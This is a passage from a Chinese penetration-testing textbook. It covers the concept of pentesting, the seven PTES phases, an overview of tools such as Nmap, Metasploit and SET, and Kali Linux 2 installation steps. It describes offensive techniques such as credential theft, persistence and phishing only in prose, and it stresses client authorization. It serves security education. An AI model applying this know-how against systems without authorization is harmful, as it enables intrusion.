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  第1章　网络安全渗透测试的相关理论和工具
 
在美国著名电影《金蝉脱壳》中，雷·布雷斯林是这个世界上最强的越狱高手之一，他在过去8年的时间内成功地从14所守卫高度森严的重型监狱中逃脱。即便如此，雷·布雷斯林却并不是一个罪犯，他真实的身份是美国国家安全局的一位监狱安全专家。雷·布雷斯林以罪犯的身份进入监狱，寻找监狱的漏洞。而他的每一次成功越狱，就代表着他已经找出了这个监狱安全方面的漏洞。当然雷·布雷斯林的目的并不是为了破坏，而是为了确保监狱中每一个服刑的罪犯都无法逃脱。他的每一次成功越狱，都会使监狱变得更加坚固，因此他是一个合法的越狱者。剧中的雷·布雷斯林由我最喜欢的影星西尔维斯特·史泰龙所饰演。
 
随着目前网络的迅猛发展，人们也开始越来越重视网络的安全问题。一个网络的安全机制无论设计得多么精准，都可能存在不易察觉的漏洞。因此与雷·布雷斯林工作性质相类似的网络安全渗透测试也应运而生。
 
如果你是第一次接触到网络安全渗透测试这个问题的话，可能会对此充满好奇和期待。那么在这一章中我们将从以下3个主题展开对网络安全渗透测试的学习。
 
 
 	 网络安全渗透测试的概念
 
 
 	 网络安全渗透测试的执行标准
 
 
 	 网络安全渗透测试的常用工具
 
 

 
1.1　网络安全渗透测试的概念
 
在开始正式学习之前，我们先来了解一下网络安全渗透测试。长期以来，很多人都认为网络安全渗透测试就是使用扫描工具找出系统的漏洞，甚至经常有一些刚刚入行不久的网络安全渗透测试的从业人员也这样认为。基于这样的理解，很多人在测试过程中会仅仅使用漏洞扫描工具对目标进行扫描。漏洞扫描的确很重要，但是它只能是整个网络安全渗透测试的一部分。实际上大多数时候漏洞扫描的结果也仅仅是能够反映出目标是否及时安装了系统更新。
 
可是网络安全渗透测试是什么呢？
 
实际上网络安全渗透测试严格的定义应该是一种针对目标网络进行安全检测的评估。通常这种测试由专业的网络安全渗透测试专家完成，目的是发现目标网络存在的漏洞以及安全机制方面的隐患并提出改善方法。从事渗透测试的专业人员会采用和黑客相同的方式对目标进行入侵，这样就可以检测网络现有的安全机制是否足以抵挡恶意的攻击。
 
根据事先对目标信息的了解程度，网络安全渗透测试的方法有黑盒测试、白盒测试和灰盒测试3种。
 
黑盒测试也被称作外部测试。在进行黑盒测试时，事先假定渗透测试人员先期对目标网络的内部结构和所使用的程序完全不了解，从网络外部对其网络安全进行评估。黑盒测试中需要耗费大量的时间来完成对目标信息的收集。除此之外，黑盒测试对渗透测试人员的要求也是最高的。
 
白盒测试也被称作内部测试。在进行白盒测试时，渗透测试人员必须事先清楚地知道被测试环境的内部结构和技术细节。相比起黑盒测试时，白盒渗透测试的目标是明确定义好的，因此白盒测试无需进行目标范围定义、信息收集等操作。这种测试的目标网络都是某个特定业务对象，相比起黑盒测试，白盒测试能够给目标带来更大的价值。
 
将白盒测试和黑盒测试组合使用，就是灰盒测试。灰盒测试时，渗透测试人员只能了解部分目标网络的信息，但不会掌握网络内部的工作原理和那些限制信息。
 
网络安全渗透测试的目标包括一切和网络相关的基础设施，其中包括以下方面。
 
 
 	 网络设备，主要包含连接到网络的各种物理实体，例如路由器、交换机、防火墙、无线接入点、服务器、个人计算机等。
 
 
 	 操作系统是指管理和控制计算机硬件与软件资源的计算机程序，例如个人计算机常使用的Windows 7、Windows 10等，服务器上经常使用的Windows 2012和各种Linux。
 
 
 	 物理安全，主要是指机房环境、通信线路等。
 
 
 	 应用程序，主要是为针对某种应用目的所使用的程序。
 
 
 	 管理制度，这部分其实是全部目标中最为重要的，指的是为保证网络安全对使用者提出的要求和做出的限制。
 
 

 
网络安全渗透测试的成果通常是一份报告。这个报告中应当给出目标网络中存在的威胁，以及威胁的影响程度，并给出对这些威胁的改进建议和修复方案。
 
另外需要注意的一点是，网络安全渗透测试并不能等同于黑客行为。相比起黑客行为，网络安全渗透测试具有以下几个特点：
 
 
 	 网络安全渗透测试是商业行为，要由客户主动提出，并给与授权许可才可以进行。
 
 
 	 网络安全渗透测试必须对目标进行整体性评估，进行尽可能全面的分析。
 
 
 	 网络安全渗透测试的目的是为了改善用户的网络安全机制。
 
 

 
1.2　网络安全渗透测试的执行标准
 
作为网络安全渗透测试的执行者，我们首先要明确在整个渗透测试过程中需要进行的工作。当我们接收到客户的渗透测试任务时，往往对于所要进行测试的目标知之甚少甚至一无所知。而在渗透测试结束的时候，我们对目标的了解程度已经远远超过了客户。这个期间，我们要从事大量的研究和工作，根据pentest-standard.org 给出的渗透测试执行标准，整个渗透测试过程中工作可以分成如下7个阶段。
 
 
 	 前期与客户的交流阶段。
 
 
 	 情报的收集阶段。
 
 
 	 威胁建模阶段。
 
 
 	 漏洞分析阶段。
 
 
 	 漏洞利用阶段。
 
 
 	 后渗透攻击阶段。
 
 
 	 报告阶段。
 
 

 
下面分别介绍一下这7个阶段中所需要完成的工作。
 
1.2.1　前期与客户的交流阶段
 
这个阶段中渗透测试者需要得到客户的配合来确定整个渗透测试的范围，也就是说要确定是对目标的哪些设备和哪些问题进行测试。而这些内容是在与客户进行了商讨之后得出的。整个商讨的过程中我们重点要考虑的因素主要有以下几个。
 
1．渗透测试的目标
 
通常这个目标会是一个包含了很多主机的网络。这时我们需要确定的是渗透测试所涉及的IP地址范围和域名范围。但是客户所使用的Web应用程序和无线网络，甚至安保设备和管理制度也可能会是渗透测试的目标。同样需要明确的还有，客户需要的是全面评估还是只针对其中某一方面或部分评估。
 
进行渗透测试过程所使用的方法如下：
 
这个阶段我们可以采用的方法主要有黑盒测试、白盒测试和灰盒测试3种。
 
2．进行渗透测试所需要的条件
 
如果采用的是白盒测试，就需要客户提供测试所必需的信息和权限，客户最好可以接受我们的问卷调查。确定可以进行渗透的时间，例如是只能在周末进行，还是随时可以。如果在渗透测试过程中导致了目标受到了破坏，应该如何补救等。
 
3．渗透测试过程中的限制条件
 
在整个渗透测试过程中，必须与客户明确哪些设备不能进行渗透测试，以及哪些技术不能应用。另外也需要明确在哪些时间点不能进行渗透测试。
 
4．渗透测试过程的工期
 
根据客户的需求，我们需要给出整个渗透测试的进度表。客户可以了解渗透测试的开始时间与结束时间，以及我们在每个时间段所进行的工作。
 
5．渗透测试的费用
 
这个话题其实很少出现在一本教科书中，但是这恰恰是一个在实践中很复杂的问题，需要考虑的因素很多。例如我们在对一个拥有了100台计算机的网络进行渗透测试的时候，收取的费用为10万元，那么平均每一台计算机的费用就是1000元。但是这并不是一种线性的关系，如果某个客户只要求我们对1台计算机进行渗透测试的话，那么费用就不能只是1000元了，因为工作量明显不同了。在计算费用的时候要充分考虑到各种成本。
 
6．渗透测试过程的预期目标
 
作为渗透测试者必须牢记的一点是，我们并非黑客。发现目标存在的漏洞，获取目标的控制权限，或者得到目标的管理密码只是完成了一部分任务。我们还需要明确客户期望在渗透测试结束时应该达到什么目标，最终的渗透报告应该包含哪些内容。
 
1.2.2　情报的收集阶段
 
这里的“情报”指的是目标网络、服务器、应用程序的所有信息。渗透测试人员需要使用各种资源尽可能地获取要测试目标的相关信息。
 
如果我们现在采用了黑盒测试的方式，那么这个阶段可以说是整个渗透测试过程中最为重要的一个阶段。所谓“知己知彼，百战不殆”也正是说明了情报收集的重要性。这个阶段所使用的技术也可以分成两种。
 
1．被动扫描
 
这种扫描方式通常不会被对方所发现，打一个比方，如果我们希望了解某一个人信息的话，那么可以向他身边的人询问，比如他的邻居、他的同事，甚至他所在社区的工作人员。那么收集到的信息包括哪些呢？可能是他的名字、年龄、职业、籍贯、兴趣、学历等。
 
同样对于一个目标网络来说，我们也可以获得很多信息，比如现在我们仅仅知道客户的一个域名——www.testfire.net（这是美国IBM公司提供的一个专门用来进行渗透测试训练的目标，所以在对该目标进行扫描时无需担心法律问题）。
 
通过这个域名我们就可以使用Whois来查询到这个域名所有者的联系方式（包括电话号码、电子邮箱、传真、公司所在地等信息），以及域名的注册和到期时间。通过搜索引擎查找与该域名相关的电子邮箱地址、博客、文件等。
 
2．主动扫描
 
这种扫描方式的技术性比较强，通常会使用专业的扫描工具来对目标进行扫描。扫描之后将会获得的信息包括目标网络的结构、目标网络所使用设备的类型、目标主机上运行的操作系统、目标主机上所开放的端口、目标主机上所提供的服务、目标主机上所运行的应用程序等等。
 
1.2.3　威胁建模阶段
 
如果将开展一次渗透测试看作是指挥一场战争的话，那么威胁建模阶段就像是在制定战争的策略。在这个阶段有两个关键性的要素——资产和攻击者（攻击群体）。首先我们要对客户的资产进行评估，找出其中重要的资产。例如我们的客户是一家商业机构，那么这家机构的客户信息就是重要资产。
 
在这个阶段主要考虑如下问题。
 
 
 	 哪些资产是目标中的重要资产。
 
 
 	 攻击时采用的技术和手段。
 
 
 	 哪些群体可能会对目标系统造成破坏。
 
 
 	 这些群体会使用哪些方法进行破坏。
 
 

 
分析以上不同群体发起攻击的可能性，可以更好地帮助我们确定渗透测试时所使用的技术和工具。通常这些攻击群体可能是：
 
 
 	 有组织的犯罪机构。
 
 
 	 黑客。
 
 
 	 脚本小子。
 
 
 	 内部员工。
 
 

 
1.2.4　漏洞分析阶段
 
这个阶段是从目标中发现漏洞的过程。漏洞可能位于目标的任何一个位置。从服务器到交换机，从所使用的操作系统到Web应用程序都是我们要检查的对象。我们在这个阶段会根据之前情报收集时发现的目标的操作系统、开放端口和服务程序，查找和分析目标系统中存在的漏洞。这个阶段如果单纯依靠手动分析来完成的话，是十分耗时耗力的，不过在Kali Linux 2系统中提供了大量的网络和应用漏洞评估工具，利用这些工具可以自动化地完成这些任务。另外一点需要提到的是，对目标的漏洞分析不仅限于软件和硬件，还需要考虑人的因素，也就是长时间地研究目标人员的心理，从而对其实施欺骗以便达到渗透目标。
 
1.2.5　漏洞利用阶段
 
找到目标上存在的漏洞之后，就可以利用漏洞渗透程序对目标系统进行测试了。
 
这个阶段中，我们关注的重点是，如何绕过目标的安全机制来控制目标系统或访问目标资源。如果我们在上一阶段中顺利完成了任务，那么这个阶段就可以准确顺利地进行。这个阶段的渗透测试应该具有精准的范围。漏洞利用的主要目标是获取我们之前评估的重要资产。最后进行渗透时还应该考虑成功的概率和对目标可能造成破坏的最大影响。
 
目前最为流行的漏洞渗透程序框架就是Metasploit了。通常这个阶段也是最为激动人心的时刻，因为渗透测试者可以针对目标系统使用对应的入侵模块获得控制权限。
 
1.2.6　后渗透攻击阶段
 
这个阶段和上一个阶段连接得十分紧密，作为一个渗透测试者，必须尽可能地将目标被渗透后所可能产生的后果模拟出来。在这个阶段可能要完成的任务包括：
 
 
 	 控制权限的提升。
 
 
 	 登录凭证的窃取。
 
 
 	 重要信息的获取。
 
 
 	 利用目标作为跳板。
 
 
 	 建立长期的控制通道。
 
 

 
这个阶段的主要目的是向客户展示当前网络存在的问题会带来的风险。
 
1.2.7　报告阶段
 
这个阶段是整个渗透测试阶段的最后一个阶段，同时也是最能体现我们工作成果的一个阶段，我们要将之前的所有发现以书面的形式提交给客户。实际上，这个报告也是客户唯一的需求。我们必须以简单直接且尽量避免大量专业术语的形式向客户汇报测试目标中存在的问题，以及可能产生的风险。这份报告中应该指出，目标系统最重要的威胁、使用渗透数据生成的表格和图标，以及对目标系统存在问题的修复方案、当前安全机制的改进建议等。
 
1.3　网络安全渗透测试的常用工具
 
在BackTrack（也就是Kali Linux的前身）出现之前，执行网络安全渗透测试的方法很难统一。这主要是因为在Linux平台上存在大量的渗透测试工具，而渗透测试者们又往往会有不同的选择。这种情况的后果就是在进行渗透测试的教学或者培训时，很难有一个统一规范的体系。
 
BackTrack系统出现以后，在这个系统中集成了大量的优秀工具。而且BackTrack按照这些工具的用途进行了分类，这样我们在进行网络安全渗透测试时就无需面对数量众多的工具眼花缭乱了。下面我们先就世界上几款最为流行的渗透测试工具进行简单介绍，这些工具也将会在本书中的实例讲解到。
 
1．Nmap
 
如果规定只能使用一款工具进行渗透测试的话，我的选择一定会是Nmap。这是一款极为富有传奇色彩的渗透测试工具。Nmap在国外已经被大量的网络安全人员所使用，它的身影甚至出现在了很多的优秀影视作品中，其中影响力最大的要数经典巨著《黑客帝国》系列。在《黑客帝国2》中，Tritnity就曾使用Nmap攻击SSH 服务，从而破坏了发电厂的工作。Nmap是由 Gordon Lyon设计并实现的，于1997开始发布。Gordon Lyon最初设计Nmap的目的只是希望打造一款强大的端口扫描工具。但是随着时间的发展，Nmap的功能越来越全面。2009年7月17日，开源网络安全扫描工具Nmap正式发布了5.00版，这是自1997年以来最重要的发布，代表着Nmap从简单的网络扫描软件变身为全方位的安全工具组件。可以毫不夸张地说，在Nmap的面前，一个网络是没有隐私的。网络中有多少台主机，每台主机运行的操作系统，每台主机运行的应用程序，甚至每台主机上面存在的漏洞，这些信息都可以利用Nmap获得。
 
2．Maltego
 
Maltego和Nmap一样都是信息收集工具，但是两者的工作方式全然不同。Nmap是典型的主动扫描工具，而Maltego则是一款极为优秀的被动扫描工具。和Nmap获取的操作系统、端口、服务等信息不同，Maltego获取的往往是一些网络使用者的信息。利用Maltego，我们就可以仅仅从一个域名找到和它有关联的大量信息，并把这些信息整合。此外，Maltego支持用户操作上的自定义行为，从而整合出最适合用户的“情报拓扑”。
 
3．Recon-NG
 
Recon-ng是一个由Python语言编写的全面Web探测框架，目前这个框架中包含拥有超过80个独立的模块。因此并不能简单地将Recon-ng看作是一个主动扫描工具或者被动扫描工具。它提供了一个强大的开源Web探测机制，帮助渗透测试人员快速彻底地进行探测。
 
4．OpenVAS
 
OpenVAS是一个开放式漏洞评估系统，这是一款威力极为强大的工具。一般来说，这款工具也是绝大多数人眼中最为神奇的一款工具。因为你只需要把要测试目标的IP填进OpenVAS，它就会把目标操作系统上存在的漏洞显示出来。也就是说你需要做的，仅仅是填写一个IP地址而已，而得到的却是一份关于目标系统存在漏洞的详细报告。OpenVAS可以分成两个核心部分，一个是网络漏洞测试引擎，另一个是网络漏洞库。它的工作原理就是由测试引擎向目标发送特制的数据包，然后将目标的回应与网络漏洞库中的样本进行比较，如果匹配成功，则可以认为存在该漏洞。
 
5．Metasploit
 
Metasploit可以说是当今世界上最富盛名的渗透测试工具了，在网络安全行业是无人不知。如果说OpenVAS的用途是发现目标的漏洞，那么Metasploit就是开启漏洞的钥匙。拥有了这把钥匙的人，可以轻而易举完成对目标的渗透。这款强大的工具是H.D. Moore在2003年开发的，当时它只集成了少数几个可用于渗透测试的工具。但是这确实是一个革命性的突破，在Metasploit出现之前，渗透测试者总需要自己去编写漏洞渗透模块，或者通过各种途径寻找漏洞渗透模块。而Metasploit帮助渗透测试者从这样的工作中解放了出来，它集成了大量的漏洞渗透模块，统一了这些模块使用方法，并且提供了大量的攻击载荷和辅助功能。可以这样说“有了Metasploit，任何人都可以如同电影中的黑客一样轻松地入侵目标。”
 
6．SET
 
社会工程学是一门新兴的学科，在最近这些年中这门学科得到了迅速发展。越来越多的黑客入侵事件都与社会工程学分不开。
 
我们经常会听说钓鱼邮件、钓鱼网站之类的说法，这些其实都是社会工程学的典型应用。David Kenned特意使用Pyhotn编写了一个功能众多的社会工程学工具包（SET）。SET利用人们的好奇心、信任、贪婪及一些愚蠢的错误来进行攻击。在这个工具包中提供了大量功能，例如发送木马邮件、生成假冒网站、利用U盘传播后门等，目前该工具包已经成为渗透测试行业部署实施社会工程学攻击的标准。
 
7．Ettercap
 
Ettercap的功能主要是实现对目标主机的欺骗和监听，这种工具的应用范围有限，但是在其应用范围之内能力极为强大。在一个网络中，有的计算机可能安全性能较高，因而难以渗透；而有的计算机安全性能较差，因而容易渗透。这时我们就可以首先选择那些安全性能较差的主机进行渗透。然后就是Ettercap这类工具大显身手的时候，可以说利用Ettercap渗透一台同一子网的主机是一件易如反掌的事情。
 
8．Burpsuite
 
随着互联网的快速发展，网络安全的侧重点已经向Web应用转移。近年来，我们在进行网络安全渗透测试时主要的对象大都是Web应用。目前所有的单位都会对自身所使用的Web应用进行严格的测试。同时，Web应用的问题也是近年来网络安全的重灾区。SQL注入、跨站、cookie盗取等问题层出不穷。BurpSuite 就是用于一款专门测试Web应用程序的集成平台。BurpSuite分为试用版和专业版，其中包含了大量针对Web应用测试的工具，而且BurpSuite中为这些工具设计了许多接口，我们还可以自行编写脚本以完善它的功能。
 
9．Wireshark
 
严格来说，Wireshark并不是一款专门的渗透测试工具，它的作用是监控网络的流量。但是我每次都会跟我的学生说，熟练使用Wireshark是网络渗透测试专业的必备技能。Wireshark主要有两个功能：一是可以监控网络，发现网络中的那些恶意流量，并找出这些恶意流量的源头；二是可以对应用的工具进行调试，有些时候我们在进行渗透测试的时候，运行了工具却完全没有反应，这时很难判断到底是这个工具本身的问题，还是目标的问题。利用Wireshark我们就可以查看这个工具是否正常地发送出去了数据包，从而找到问题的源头。另外通过这种调试也可以帮助学习这些工具的设计原理。
 
10．Dradis
 
几乎我认识的所有人都对计算机行业有这样一个看法，编写程序才是真实的本领，文档的编写则不是那么的重要。因此我们经常看到一些很优秀的程序员写出的天书一般的文档。渗透测试也是一样，虽然我们在前6个阶段付出了大量的努力，但是最后呈现在用户面前的只有一份报告。那么这份报告也将决定着客户对我们的工作是否满意。
 
渗透测试报告的编写是一件相当复杂的工作，不过好在现在有一些相当优秀的工具可以帮助我们来完成。其中的Dradis框架就是一个极为优秀的开源协作和报告平台。它是由Ruby开发的一个独立的平台。利用这个工具可以轻松地将前6个阶段的工作成果整合在一起，并生成一份详实的报告。
 
1.4　小结
 
在本章中，我们对什么是网络安全渗透测试，以及如何开展网络安全渗透测试进行了介绍。掌握渗透测试的标准对于我们后来的学习有很大的帮助。如果你希望对本章讲解的网络安全渗透测试标准有更深入的了解，可以访问www.pentest-standard.org，在这个网站中极为详细地介绍了渗透测试的7个阶段。
 
在本章的最后我们还介绍了一些当今世界上最为优秀的渗透测试工具。在后面的章节中我们将对这些工具的使用进行详细的案例讲解。在下一章中，我们将会详细讲解Kali Linux 2的使用。
 


第2章　Kali Linux 2使用基础
 
在现实生活中经常有人会问我一个问题，“黑客是不是都不用Windows操作系统？”。其实这也是很多人都想要了解的一个问题，这个问题的答案并不是绝对的。但是大多数从事网络安全的专家的确不会选择使用Windows来完成自己的工作。那么下一个问题就是：在进行网络安全渗透测试时，要使用什么操作系统呢？
 
在本章中将会介绍世界上最为著名的渗透测试系统——Kali Linux 2。在这一章中我们将会围绕以下3个问题展开学习。
 
 
 	Kali Linux 2简介
 
 	Kali Linux 2安装
 
 	Kali Linux 2的常用操作
 
 	VMware的高级操作
 

 
2.1　Kali Linux 2简介
 
Kali Linux 2是一个面向专业人士的渗透测试和安全审计的操作系统，它是由之前大名鼎鼎的Back Track系统发展而来。Back Track系统曾经是世界上最为优秀的渗透测试操作系统，取得了极大成功。之后Offensive Security 对Back Track进行了升级改造，并在2013年3月，推出了崭新的Kali Linux 1.0，相比起Back Track，Kali Linux提供了更多更新的工具。之后，Offensive Security每隔一段时间都会对Kali进行更新，在2016年又推出了功能更为强大的Kali Linux 2。目前最新的版本是2017年推出的Kali Linux 2017.1。在这个版本中包含有13个大类超过了300个的各种程序，几乎涵盖了当前世界上所有优秀的渗透测试工具。如果你之前没有使用过Kali Linux 2 ，那么相信在你打开它的瞬间，绝对会被里面数量众多的工具所震撼。
 
需要注意的一点是，Kali Linux本身并不是一个新的操作系统，而是一个基于Debian的Linux发行版。如果你之前熟悉Debian的话，那么使用起来Kali Linux将会十分容易。不过Kali Linux也提供了类似Windows的图形化操作界面，即使你此前完全没有使用Linux经验的话，也可以轻易上手。
 
2.2　Kali Linux 2安装
 
和普通的应用软件不同，操作系统的安装一直都是一件比较麻烦的事。而且和只能安装在计算机上的Windows操作系统不同，Kali Linux可以说是一个几乎能安装到任何智能设备上的操作系统。计算机、平板、手机、虚拟机、U盘播放设备、光盘播放设备都可以成为Kali Linux的载体，另外现在极为流行的Raspberry Pi(中文名为“树莓派”，简写为RPi)也可以安装Kali Linux。甚至连亚马逊公司推出的云计算服务平台AWS中也提供了装有Kali Linux系统的主机。
 
下面我们就来介绍其中几种最为常用的安装方式。
 
2.2.1　将Kali Linux 2安装在硬盘中
 
我们首先要到https://www.kali.org/downloads/下载到Kali Linux2的安装镜像，本书采用的Kali版本为2017.1版。如果你之前为计算机安装过Windows操作系统的话，那么就会发现这个安装过程其实很简单，下面我们以完整版的32位Kali安装为例。
 
Kali Linux2对系统硬件的需求很小，几乎现在所有的计算机都可以满足。当然在更高配置的计算机上可以更加流畅地运行Kali Linux2。下面列出了官方给定Kali Linux2安装的最低硬件要求：
 
 
 	Kali Linux 2安装最少需要20GB的硬盘空间。
 
 	对于i386和AMD 64架构，Kali Linux 2推荐2GB或者2GB以上的内存空间，最小为1GB。
 
 	CD-DVD启动/USB启动支持。
 

 
下面我们开始Kali Linux 2的安装过程，这个过程可以分成两个步骤。第一步先将镜像文件刻录到U盘或者光盘上，第二步再通过U盘或者光盘启动来安装系统。
 
首先来介绍如何将下载好的kali-Linux-2017.1-i386.iso文件刻录到光盘或者U盘上，鉴于现在系统几乎都采用了U盘安装，所以这里只介绍如何刻录到U盘的步骤。
 
步骤1　首先我们使用UltraISO打开下载的kali-Linux-2017.1-i386.iso文件，如图2-1所示。
 
[image: 图片 1]
 
图2-1　使用UltraISO打开Kali Linux 2的镜像文件
 
步骤2　单击菜单栏上的“启动”选项，然后在弹出的菜单中选中“写入硬盘映像”，如图2-2所示。
 
[image: 图片 5]
 
图2-2　选中“写入硬盘镜像”
 
步骤3　在弹出的“写入硬盘映像”菜单中，首先选中“格式化”对U盘中的数据进行格式化，然后单击“写入”按钮，如图2-3所示。
 
[image: 图片 6]
 
图2-3　将镜像中的文件写入到U盘中
 
现在我们已经制作好了一张Kali Linux 2的系统安装盘了，那么接下来就可以在计算机中安装系统了。首先我们需要将计算机设置为U盘启动，然后执行如下步骤。
 
步骤1　启动计算机后，你就可以看到Kali Linux 2的启动界面了，这里还列出了Kali Linux2设计者的忠告：“the quieter you become，the more you are able to hear”（越安静，听到的就会越多）。在这里我们需要选择安装的类型，将Kali Linux 2安装到硬盘主要有第7项“Install”（基于文本的安装方式）和第8项“Graphical Install”（基于图形化的安装方式）两种，我们这里以“Graphical Install”为例，如图2-4所示。
 
[image: 图片 2]
 
图2-4　Kali Linux2的启动界面
 
步骤2　接下来选择安装系统所使用的语言，这里面我们选择“中文简体”，如图2-5所示。
 
[image: 图片 3]
 
图2-5　安装语言选择菜单
 
步骤3　接下来系统会弹出一个提示，如图2-6所示，提醒我们使用简体中文的话，系统并不会完全以中文显示，很多地方仍然会以繁体中文或者英文显示。这里我们选择“是”。
 
[image: 图片 5]
 
图2-6　提醒窗口
 
步骤4　选择我们所在的区域，如图2-7所示，选择“中国”。
 
[image: 图片 6]
 
图2-7　区域选择列表
 
步骤5　选择要使用的键盘设置，这里选择“汉语”，如图2-8所示。
 
[image: 图片 7]
 
图2-8　键盘设置列表
 
步骤6　现在需要为你的系统输入一个主机名。在这个例子中，我们输入“Kali”作为主机名，如图2-9所示。
 
[image: 图片 8]
 
图2-9　设置主机名
 
步骤7　在这里要输入一个域名，如果没有的话，随意填写一个即可，如图2-10所示。
 
[image: 图片 9]
 
图2-10　设置域名
 
步骤8　接下来为使用该系统的root用户创建一个密码，这个密码应该尽量复杂一些，如图2-11所示。
 
[image: 图片 10]
 
图2-11　为Kali Linux 2设置密码
 
步骤9　这时我们需要设置分区，默认情况可以选择“使用整个磁盘”即可，如图2-12所示。这里还提供了LVM功能，LVM的全称是“Logical Volume Manager”（逻辑卷管理器），使用LVM可以在安装完成后管理分区和调整分区大小。对于刚接触Kali Linux 2的用户并不推荐使用LVM。如果你对Linux非常熟悉的话，也可以选择“手动”。
 
[image: 图片 11]
 
图2-12　为Kali Linux 2设置分区
 
步骤10　选择要分区的硬盘，如图2-13所示。
 
[image: 图片 12]
 
图2-13　磁盘分区
 
步骤11　接下来要根据你的需求进行选择，这里如果你不知道如何选择的话，就选择第一个方案，如图2-14所示。
 
[image: 图片 13]
 
图2-14　将所有文件放在同一个分区中
 
步骤12　接下来单击“继续”按钮后，将开始安装系统，如图2-15所示。
 
[image: 图片 15]
 
图2-15　确定要格式化的分区
 
步骤13　接下来，就要开始系统的安装过程了，我们需要耐心等待一些时间，如图2-16所示。
 
[image: 图片 16]
 
图2-16　Kali Linux 2的安装过程
 
步骤14　配置网络镜像，Kali Linux 2使用中心源来发布软件，这里选择“是”，如图2-17所示。
 
[image: 图片 17]
 
图2-17　Kali Linux 2的配置软件包管理器
 
步骤15　下一步要安装GRUB，如图2-18所示。
 
[image: 图片 18]
 
图2-18　将GRUB安装到硬盘
 
步骤16　可以选择GRUB的安装位置，这里保留默认设置即可，如图2-19所示。
 
[image: 图片 19]
 
图2-19　安装启动引导器的设备
 
步骤17　到此，系统已经安装完毕。如图2-20所示，单击“继续”按钮重启系统后就可以进入安装好的Kali Linux 2了。
 
[image: 图片 20]
 
图2-20　结束安装进程
 
拔掉U盘重新启动计算机，操作系统的用户登录界面如图2-21所示，这里可以使用用户名“root”和步骤8中设置的密码进行登录。
 
[image: 图片 21]
 
图2-21　Kali Linux 2的登录界面
 
2.2.2　在VMware虚拟机中安装Kali Linux 2
 
在现实生活中，你可能会发现很多工作必须在Windows下来完成，所以我们往往需要保留Windows，但还要在计算机上安装一个Kali Linux 2操作系统。这时通常有两个选择，一是安装双系统，二是使用虚拟机。这里从使用方便的角度来说，我更建议你使用第二种方法。因为虚拟机的最大的好处就在于可以在一台计算机上同时运行多个操作系统，所以你可以获得的其实不只是双系统，而是多个系统了。这些操作系统之间是独立运行的，跟实际上的多台计算机并没有区别。但是模拟操作系统的时候会造成很大的系统开销，因此最好加大计算机的物理内存。
 
目前最为优秀的虚拟机软件包括VMware workstation和Virtual Box，这两个软件的操作都很简单，这里我们以VMware workstation为例。截止到目前VMware workstation的最新版本为12.5.7，建议大家在使用的时候尽量选择最新的版本。
 
步骤1　首先我们可以在VMware workstation的官方网站（https://www.vmware. com/products/workstation.html）下载安装程序。国内很多下载网站也都提供了VMware workstation的下载途径。
 
步骤2　开始运行VMware workstation的安装程序，这个安装的过程很简单，这里不再逐步介绍。
 
步骤3　完成了安装工作之后，接下来就可以启动VMware workstation程序，启动以后的界面如图2-22所示。
 
[image: 图片 1]
 
图2-22　VMware workstation的启动界面
 
步骤4　现在，我们在VMware workstation中安装一个新的操作系统，首先要在菜单栏上选择“文件”选项卡，然后在弹出的下拉菜单中选择“新建虚拟机”。
 
步骤5　这时会弹出一个“欢迎使用新建虚拟机向导”，这里选择“典型”即可，如图2-23所示。
 
[image: 图片 4]
 
图2-23　新建虚拟机向导
 
步骤6　接下来，我们要为操作系统选择一个安装文件。你可以使用安装光盘，也可以使用下载的光盘镜像文件（iso文件），根据安装文件的不同类型，可做出对应的选择，如图2-24所示。
 
[image: 图片 7]
 
图2-24　安装程序光盘映像文件
 
步骤7　在这里根据你所安装系统的类型，选择对应的操作系统，例如这里我们安装的是Kali Linux，这个版本是基于Debian 8.x开发的，所以在这里我们在客户机操作系统中选择Linux，然后在版本里选择“Debian 8.x”，如图2-25所示。
 
[image: 图片 10]
 
图2-25　选择客户机操作系统
 
步骤8　接下来设置虚拟机的名称和存放的位置，这里注意最好选择一个合适的名称，例如Kali-Linux2。在下面的位置处可以为虚拟的操作系统选择一个存放目录，如图2-26所示。
 
[image: 图片 13]
 
图2-26　为虚拟机命名
 
步骤9　接下来，我们给这个虚拟系统分配物理硬盘空间，这里我们使用默认的20GB作为最大磁盘大小，如图2-27所示。不过VMware一开始只会为其分配很小的空间，当你在使用虚拟机的时候，这个空间会逐渐变大。在本书所有的实验结束之时，这个空间可能要扩大到60GB左右。
 
[image: 图片 16]
 
图2-27　指定磁盘容量
 
步骤10　然后单击“完成”按钮就结束了虚拟机的安装过程，如图2-28所示。
 
[image: 图片 19]
 
图2-28　创建完成
 
步骤11　重新启动虚拟机之后，会出现如图2-29所示的Kali安装启动界面，接下来的安装过程和第2.2.1节中是一模一样的。
 
[image: 图片 2]
 
图2-29　在VMware中安装Kali Linux 2
 
除了上面我们介绍的在虚拟机中安装Kali Linux 2 之外，你还可以选择直接下载Offensive security所提供的虚拟机镜像文件。下载地址为https://www.offensive-security. com/kali-Linux-vmware-virtualbox-image-download/。本书中所使用的实例都是使用在该地址下载的Kali Linux 32 bit VM PAE下进行调试的（见图2-30），经测试这也是最为稳定的一个版本。所以在本书的学习过程中，建议选择相同的版本。
 
[image: 图片 7]
 
图2-30　Kali Linux 32 bit VM PAE的下载地址
 
下载之后是一个压缩文件，将这个文件解压到指定目录中。例如我将这个文件解压到了E：\Kali-Linux-2017.1-vm-i686目录。那么启动VMware之后，在菜单选项中依次选中“文件”/“打开”，如图2-31所示。
 
[image: 图片 8]
 
图2-31　在菜单选项中依次选中“文件”/“打开”
 
然后在弹出的文件选择框中选中“Kali-Linux-2017.1-vm-i686.vmx”，如图2-32所示。
 
[image: 图片 12]
 
图2-32　选中“Kali-Linux-2017.1-vm-i686.vmx”
 
双击打开之后，在VMware的左侧列表中，就多了一个Kali-Linux-2017.1-vm-i686系统，双击这个选项就可以启动这个系统了。
 
2.2.3　在加密U盘中安装Kali Linux 2
 
上面介绍的安装方法和Windows操作系统没有太大区别。你可以按照这种方法将Kali Linux 2安装到自己的台式机或者笔记本上。可是在现实生活中，即使是笔记本计算机，我们也不可能总是随身携带。不过，现实世界中计算机是随处可见的，只是这些设备大都不可能安装Kali这种专业操作系统。如果我们可以将Kali Linux安装到U盘，然后在任何计算机执行运行U盘中的系统就好了（注意这里要和前一节的用U盘作为安装盘不同，这里指的是将U盘插入主机后直接可以使用）。
 
如果你看过日本著名的黑客题材电视剧《血色星期一》，其中出现过这样一个情节，由三浦春马饰演的男主人公将自己的U盘插入到便利店的计算机中，然后启动了自己的操作系统。电影中的这款U盘在当年引起了很多人的关注，几乎成了传说的神器。
 
